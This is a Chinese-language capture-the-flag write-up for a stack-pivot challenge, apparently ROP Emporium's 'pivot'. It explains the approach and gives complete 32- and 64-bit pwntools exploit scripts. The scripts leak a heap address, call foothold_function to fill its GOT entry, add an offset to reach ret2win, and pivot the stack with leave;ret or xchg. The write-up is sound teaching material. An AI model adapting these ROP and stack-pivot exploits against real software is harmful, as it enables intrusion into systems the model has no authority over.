这道题有两次输入,第一次输入到堆中,第二次输入到栈中,而且很明显第二次的可溢出大小不够用来构造rop链,所以我们需要将rop链构造在堆中,然后利用栈迁移来执行rop链。题目中也将堆的地址打印了出来 ,降低了不少难度。
给出的.so文件有这个函数可以用:
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}
显然我们构造的rop链要能够控制程序跳转到这个函数去执行,这里需要用到计算偏移
elf函数中只有foothold_function在.so中也出现,而且也在got表中,所以ret2win的真实地址可以结合foothold_function算出来,这里需要注意的是,需要先将foothold_function函数调用一次,got表中才有foothold_function的真实地址。
这里说一下我踩过的坑,偏移有两种算法:
1、真实地址-libc地址
2、两个licb函数地址相减
一开始我用第一种方法算偏移,理论上来说两种方法都没错,但是因为函数需要调用一次后才能在got表中有真实地址,所以直接拿got表中的地址来当真实地址的错的,所以最好使用第二种方法算偏移,然后在构造rop的时候将其中的一个地址调用一次使得got表中有它的真实地址再拿去加偏移就能得到目标函数的真实地址。
exp:
from pwn import *
sh = process('./pivot32')
elf = ELF('./pivot32')
libc = ELF('./libpivot32.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
foothold_sym = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']
# offset = int(foothold_got_plt - foothold_sym) 这里就是直接用got表的地址去算偏移,其实是错的,因为foothold_function函数没有调用过,got表中并不是真实地址
# offset = int(ret2win - foothold_sym)
offset = ret2win - foothold_sym
#offset = foothold_sym - ret2win 这里算偏移的时候要注意结果不能为负数
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
leakaddr = int(sh.recv(10),16) #接收题目打印出来的堆地址
print hex(leakaddr)
pause()
add_eax_ebx = 0x080488c7
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
pop_ebx = 0x08048571
call_eax = 0x080486a3
leave_ret = 0x080486a8
payload_1 = ""
payload_1 += p32(foothold_plt) #将foothold_function函数调用一次
payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got_plt) #上面调用了一次这里就是真实地址了
payload_1 += p32(mov_eax_eax)
payload_1 += p32(pop_ebx)
payload_1 += p32(offset)
payload_1 += p32(add_eax_ebx)
payload_1 += p32(call_eax)
sh.sendline(payload_1)
payload_2 = ""
payload_2 += 0x28 * "A"
payload_2 += p32(leakaddr-4) + p32(leave_ret)
sh.sendline(payload_2)
sh.interactive()
64位exp:
from pwn import *
sh = process('./pivot')
elf = ELF('./pivot')
so = ELF('./libpivot.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
footold_sym = so.symbols['foothold_function']
ret2win_sym = so.symbols['ret2win']
offset = ret2win_sym - footold_sym
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
addr = int(sh.recv(14),16)
print hex(addr)
pause()
mov_rax_rax = 0x0000000000400b05
add_rax_rbp = 0x0000000000400b09
pop_rax = 0x0000000000400b00
pop_rbp = 0x0000000000400900
pop_rdi = 0x0000000000400b73
call_rax = 0x000000000040098e
# pop_rsp_r13_r14_r15_ret = 0x0000000000400b6d
xchg_rax_rsp = 0x0000000000400b02
sh.recvuntil("> ")
payload_1 = ""
payload_1 += p64(foothold_plt)
payload_1 += p64(pop_rax) + p64(foothold_got_plt)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp) + p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
sh.sendline(payload_1)
sh.recvuntil("> ")
payload_2 = ""
payload_2 += 0x28*"A"
payload_2 += p64(pop_rax) + p64(addr) + p64(xchg_rax_rsp)
# payload_2 += p64(pop_rsp_r13_r14_r15_ret) + p64(addr) + p64(3) + p64(4) + p64(5)
sh.sendline(payload_2)
sh.interactive()
网友评论